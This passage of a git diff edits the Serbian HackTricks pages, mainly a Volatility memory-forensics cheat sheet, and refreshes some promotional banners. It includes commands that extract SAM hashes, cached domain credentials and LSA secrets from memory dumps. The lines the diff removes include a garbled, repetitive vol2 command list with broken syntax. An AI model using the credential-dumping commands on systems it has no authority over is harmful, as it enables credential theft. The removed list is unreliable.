-[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti kibernetičke bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i bezbednosnih stručnjaka u svakoj disciplini.
+[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
index 3ea2f745f..c5c2e595b 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
@@ -1,24 +1,25 @@
# Volatility - CheatSheet
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti **kibernetičke bezbednosti u Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
+[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %}
@@ -35,16 +36,16 @@ cd volatility3
python3 setup.py install
python3 vol.py —h
```
-#### volatility2
+### volatility2
{% tabs %}
-{% tab title="Metod1" %}
+{% tab title="Metoda1" %}
```
Download the executable from https://www.volatilityfoundation.org/26
```
{% endtab %}
-{% tab title="Metoda 2" %}
+{% tab title="Metod 2" %}
```bash
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
@@ -53,17 +54,17 @@ python setup.py install
{% endtab %}
{% endtabs %}
-## Komande Volatility
+## Volatility Komande
-Pristupite zvaničnoj dokumentaciji na [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)
+Pristupite zvaničnoj dokumentaciji u [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)
-### Napomena o "list" vs. "scan" dodacima
+### Napomena o “list” vs. “scan” pluginovima
-Volatility ima dva glavna pristupa dodacima, što se ponekad odražava u njihovim imenima. "list" dodaci će pokušati da navigiraju kroz strukture Windows Kernela kako bi dobili informacije poput procesa (lociraju i prođu kroz povezanu listu `_EPROCESS` struktura u memoriji), OS ručki (lociraju i navedu tabelu ručki, dereferencirajući bilo koje pronađene pokazivače, itd). Oni se više-manje ponašaju kao Windows API kada bi bio zatražen, na primer, popis procesa.
+Volatility ima dva glavna pristupa pluginovima, koji se ponekad odražavaju u njihovim imenima. “list” pluginovi će pokušati da navigiraju kroz Windows Kernel strukture kako bi prikupili informacije kao što su procesi (lociranje i prolazak kroz povezanu listu `_EPROCESS` struktura u memoriji), OS handle-ovi (lociranje i listanje tabele handle-ova, dereferenciranje bilo kojih pronađenih pokazivača, itd). Oni se više-manje ponašaju kao Windows API kada se traži, na primer, da listaju procese.
-To čini "list" dodatke prilično brzim, ali jednako ranjivim kao i Windows API na manipulaciju od strane malvera. Na primer, ako malver koristi DKOM da odvoji proces od povezane liste `_EPROCESS`, neće se pojaviti u Task Manageru, niti u pslist-u.
+To čini “list” pluginove prilično brzim, ali jednako ranjivim kao Windows API na manipulaciju od strane malvera. Na primer, ako malver koristi DKOM da unlink-uje proces iz `_EPROCESS` povezane liste, on se neće pojaviti u Task Manager-u, niti u pslist-u.
-"scan" dodaci, s druge strane, pristupiće slično kao da se urezuju memorija za stvari koje bi mogle imati smisla kada se dereferenciraju kao specifične strukture. Na primer, `psscan` će pročitati memoriju i pokušati da napravi objekte `_EPROCESS` od nje (koristi skeniranje pool-tagova, što je traženje 4-bajtnih nizova koji ukazuju na prisustvo strukture od interesa). Prednost je što može otkriti procese koji su završili, i čak ako malver manipuliše sa povezanom listom `_EPROCESS`, dodatak će i dalje pronaći strukturu ostavljenu u memoriji (jer joj i dalje treba postojati da bi proces radio). Mana je što su "scan" dodaci malo sporiji od "list" dodataka, i ponekad mogu dati lažne pozitivne rezultate (proces koji je završio pre dugo vremena i čiji su delovi strukture prepisani drugim operacijama).
+“scan” pluginovi, s druge strane, će uzeti pristup sličan vađenju iz memorije za stvari koje bi mogle imati smisla kada se dereferenciraju kao specifične strukture. `psscan` na primer će čitati memoriju i pokušati da napravi `_EPROCESS` objekte iz nje (koristi skeniranje pool-taga, koje traži 4-bajtne stringove koji ukazuju na prisustvo strukture od interesa). Prednost je u tome što može pronaći procese koji su izašli, i čak i ako malver manipuliše `_EPROCESS` povezanim listama, plugin će i dalje pronaći strukturu koja leži u memoriji (pošto ona i dalje mora postojati da bi proces radio). Nedostatak je što su “scan” pluginovi malo sporiji od “list” pluginova, i ponekad mogu dati lažne pozitivne rezultate (proces koji je izašao previše davno i čiji su delovi strukture prepisani drugim operacijama).
Izvor: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
@@ -71,8 +72,8 @@ Izvor: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysi
### Volatility3
-Kako je objašnjeno u readme datoteci, morate staviti **tabelu simbola OS-a** koji želite podržati unutar _volatility3/volatility/symbols_.\
-Paketi tabela simbola za različite operativne sisteme dostupni su za **preuzimanje** na:
+Kao što je objašnjeno u readme-u, potrebno je staviti **tabelu simbola OS-a** koji želite da podržite unutar _volatility3/volatility/symbols_.\
+Paketi tabela simbola za različite operativne sisteme su dostupni za **preuzimanje** na:
* [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip)
* [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip)
@@ -82,11 +83,11 @@ Paketi tabela simbola za različite operativne sisteme dostupni su za **preuzima
#### Spoljni Profil
-Možete dobiti listu podržanih profila izvršavanjem:
+Možete dobiti listu podržanih profila tako što ćete uraditi:
```bash
./volatility_2.6_lin64_standalone --info | grep "Profile"
```
-Ako želite da koristite **novi profil koji ste preuzeli** (na primer, linux profil), treba da kreirate sledeću strukturu foldera: _plugins/overlays/linux_ i stavite zip fajl sa profilom unutar ovog foldera. Zatim, dobijte broj profila koristeći:
+Ako želite da koristite **novi profil koji ste preuzeli** (na primer, linux profil) potrebno je da negde kreirate sledeću strukturu foldera: _plugins/overlays/linux_ i stavite unutar ovog foldera zip fajl koji sadrži profil. Zatim, dobijte broj profila koristeći:
```bash
./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info
Volatility Foundation Volatility Framework 2.6
@@ -98,22 +99,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10
VistaSP0x64 - A Profile for Windows Vista SP0 x64
VistaSP0x86 - A Profile for Windows Vista SP0 x86
```
-Možete **preuzeti profile za Linux i Mac** sa [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)
+Možete **preuzeti Linux i Mac profile** sa [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)
-U prethodnom odeljku možete videti da se profil zove `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, i možete ga koristiti da izvršite nešto poput:
+U prethodnom delu možete videti da se profil zove `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, i možete ga koristiti za izvršavanje nečega poput:
```bash
./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan
```
-#### Otkrij profil
+#### Otkrijte profil
```
volatility imageinfo -f file.dmp
volatility kdbgscan -f file.dmp
```
#### **Razlike između imageinfo i kdbgscan**
-[**Ovde**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): Za razliku od imageinfo koji jednostavno pruža predloge profila, **kdbgscan** je dizajniran da pozitivno identifikuje tačan profil i tačnu KDBG adresu (ako ih ima više). Ovaj dodatak skenira potpise KDBGHeader povezane sa Volatility profilima i primenjuje provere ispravnosti kako bi se smanjili lažni pozitivi. Opširnost izlaza i broj provera ispravnosti koje se mogu izvršiti zavise od toga da li Volatility može pronaći DTB, pa ako već znate tačan profil (ili ako imate predlog profila od imageinfo), onda se pobrinite da ga koristite iz .
+[**Odavde**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): Za razliku od imageinfo koji jednostavno pruža predloge profila, **kdbgscan** je dizajniran da pozitivno identifikuje tačan profil i tačnu KDBG adresu (ako ih ima više). Ovaj dodatak skenira KDBGHeader potpise povezane sa Volatility profilima i primenjuje provere ispravnosti kako bi smanjio lažne pozitivne rezultate. Opširnost izlaza i broj provera ispravnosti koje se mogu izvršiti zavise od toga da li Volatility može pronaći DTB, tako da, ako već znate tačan profil (ili ako imate predlog profila iz imageinfo), obavezno ga koristite.
-Uvek pogledajte **broj procesa koje je kdbgscan pronašao**. Ponekad imageinfo i kdbgscan mogu pronaći **više od jednog** odgovarajućeg **profila**, ali samo **validan će imati neke procese povezane** (To je zato što je za izvlačenje procesa potrebna tačna KDBG adresa)
+Uvek obratite pažnju na **broj procesa koje je kdbgscan pronašao**. Ponekad imageinfo i kdbgscan mogu pronaći **više od jednog** odgovarajućeg **profila**, ali samo će **važeći imati neki proces povezan** (To je zato što je za ekstrakciju procesa potrebna tačna KDBG adresa).
```bash
# GOOD
PsActiveProcessHead : 0xfffff800011977f0 (37 processes)
@@ -127,18 +128,21 @@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules)
```
#### KDBG
-**Kernel Debugger Block**, poznat kao **KDBG** u Volatility-u, ključan je za forenzičke zadatke koje obavlja Volatility i razni debuggeri. Identifikovan kao `KdDebuggerDataBlock` i tipa `_KDDEBUGGER_DATA64`, sadrži bitne reference poput `PsActiveProcessHead`. Ova specifična referenca pokazuje na početak liste procesa, omogućavajući listanje svih procesa, što je osnovno za temeljnu analizu memorije.
+**KDBG**, poznat kao **kernel debugger block**, je ključan za forenzičke zadatke koje obavlja Volatility i razni debageri. Identifikovan kao `KdDebuggerDataBlock` i tipa `_KDDEBUGGER_DATA64`, sadrži bitne reference kao što je `PsActiveProcessHead`. Ova specifična referenca ukazuje na početak liste procesa, omogućavajući prikazivanje svih procesa, što je osnovno za temeljnu analizu memorije.
-## Informacije o operativnom sistemu
+## OS Information
```bash
#vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info)
./vol.py -f file.dmp windows.info.Info
```
-Plugin `banners.Banners` može se koristiti u **vol3 za pokušaj pronalaženja linux banera** u dump-u.
+Plugin `banners.Banners` može se koristiti u **vol3 da pokuša da pronađe linux banere** u dump-u.
-## Hashes/Lozinke
+## Hashovi/Lozinke
-Izvadite SAM heševe, [keširane kredencijale domena](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) i [lsa tajne](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets).
+Izvucite SAM hashove, [keširane kredencijale domena](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) i [lsa tajne](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets).
+
+{% tabs %}
+{% tab title="vol3" %}
```bash
./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM)
./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry
@@ -146,379 +150,24 @@ Izvadite SAM heševe, [keširane kredencijale domena](../../../windows-hardening
```
{% endtab %}
-{% tab title="vol2" %}
-
-## Volatility Cheat Sheet
-
-### Basic Commands
-
-- **Image Identification**
- - `volatility -f imageinfo`
-
-- **Listing Processes**
- - `volatility -f --profile= pslist`
-
-- **Dumping a Process**
- - `volatility -f --profile= memdump -p -D `
-
-- **Listing Network Connections**
- - `volatility -f --profile= connections`
-
-- **Dumping a File**
- - `vollocation -f --profile= dumpfiles -Q -D `
-
-### Advanced Commands
-
-- **Detecting Hidden Processes**
- - `volatility -f --profile= psxview`
-
-- **Analyzing Registry**
- - `volatility -f --profile= hivelist`
- - `volatility -f --profile= printkey -K `
-
-- **Extracting DLLs**
- - `volatility -f --profile= dlldump -p -D `
-
-- **Analyzing Timelime**
- - `volatility -f --profile= timeliner`
-
-- **Identifying Sockets**
- - `volatility -f --profile= sockets`
-
-- **Analyzing Drivers**
- - `volatility -f --profile= driverscan`
-
-- **Analyzing Packed Binaries**
- - `volatility -f --profile= malfind`
-
-- **Analyzing Process Handles**
- - `volatility -f --profile= handles`
-
-- **Analyzing Process DLLs**
- - `volatility -f --profile= pslist`
- - `volatility -f --profile= dlllist -p `
-
-- **Analyzing Kernel Modules**
- - `volatility -f --profile= modscan`
-
-- **Analyling User Mode Hooks**
- - `volatility -f --profile= usermodehooks`
-
-- **Analyzing SSDT Hooks**
- json
- - `volatility -f --profile= ssdt`
-
-- **Analyzing IRP Hooks**
- - `volatility -f --profile= irp`
-
-- **Analyzing IDT Hooks**
- - `volatility -f --profile= idt`
-
-- **Analyzing GDT Hooks**
- - `volatility -f --profile= gdt`
-
-- **Analyzing Hidden Modules**
- - `volatility -f --profile= ldrmodules`
-
-- **Analyzing Mutants**
- - `volatility -f --profile= mutantscan`
-
-- **Analyzing API Hooks**
- - `volatility -f --profile= apihooks`
-
-- **Analyzing Callbacks**
- - `volatility -f --profile= callbacks`
-
-- **Analyzing SSDT**
- - `volatility -f --profile= ssdt`
-
-- **Analyzing IDT**
- - `volatility -f --profile= idt`
-
-- **Analyzing GDT**
- - `volatility -f --profile= gdt`
-
-- **Analyzing CSRSS**
- - `volatility -f --profile= csrss`
-
-- **Analyzing Hidden Processes**
- - `volatility -f --profile= psxview`
-
-- **Analyzing Hidden Modules**
- - `volatility -f --profile= ldrmodules`
-
-- **Analyzing Hidden Handles**
- - `volatility -f --profile= hivelist`
-
-- **Analyzing Hidden SSDT**
- - `vollocation -f --profile= ssdt`
-
-- **Analyzing Hidden IRP**
- - `volatility -f --profile= irp`
-
-- **Analyzing Hidden IDT**
- - `volatility -f --profile= idt`
-
-- **Analyzing Hidden GDT**
- - `volatility -f --profile= gdt`
-
-- **Analyzing Hidden Mutants**
- - `volatility -f --profile= mutantscan`
-
-- **Analyzing Hidden API Hooks**
- - `volatility -f --profile= apihooks`
-
-- **Analyzing Hidden Callbacks**
- - `volatility -f --profile= callbacks`
-
-- **Analyzing Hidden User Mode Hooks**
- - `volatility -f --profile= usermodehooks`
-
-- **Analyzing Hidden Kernel Modules**
- - `volatility -f --profile= modscan`
-
-- **Analyzing Hidden CSRSS**
- - `volatility -f --profile= csrss`
-
-- **Analyzing Hidden Sockets**
- - `volatility -f --profile= sockets`
-
-- **Analyzing Hidden Drivers**
- - `volatility -f --profile= driverscan`
-
-- **Analyzing Hidden Packed Binaries**
- - `volatility -f --profile= malfind`
-
-- **Analyzing Hidden Process Handles**
- - `volatility -f --profile= handles`
-
-- **Analyzing Hidden Process DLLs**
- - `volatility -f --profile= pslist`
- - `volatility -f --profile= dlllist -p `
-
-- **Analyzing Hidden Timelime**
- - `volatility -f --profile= timeliner`
-
-- **Analyzing Hidden Registry**
- - `volatility -f --profile= hivelist`
- - `volatility -f --profile= printkey -K `
-
-- **Analyzing Hidden DLLs**
- - `volatility -f --profile= dlldump -p -D `
-
-- **Analyzing Hidden Network Connections**
- - `volatility -f --profile= connections`
-
-- **Analyzing Hidden Files**
- - `vollocation -f --profile= dumpfiles -Q -D `
-
-- **Analyzing Hidden Image**
- - `volatility -f imageinfo`
-
-- **Analyzing Hidden Processes**
- - `volatility -f --profile= pslist`
-
-- **Analyzing Hidden Threads**
- - `volatility -f --profile= threads`
-
-- **Analyzing Hidden Handles**
- - `volatility -f --profile= handles`
-
-- **Analyzing Hidden Mutants**
- - `volatility -f --profile= mutantscan`
-
-- **Analyzing Hidden API Hooks**
- - `volatility -f --profile= apihooks`
-
-- **Analyzing Hidden Callbacks**
- - `volatility -f --profile= callbacks`
-
-- **Analyzing Hidden User Mode Hooks**
- - `volatility -f --profile= usermodehooks`
-
-- **Analyzing Hidden Kernel Modules**
- - `volatility -f --profile= modscan`
-
-- **Analyzing Hidden CSRSS**
- - `volatility -f --profile= csrss`
-
-- **Analyzing Hidden Sockets**
- - `volatility -f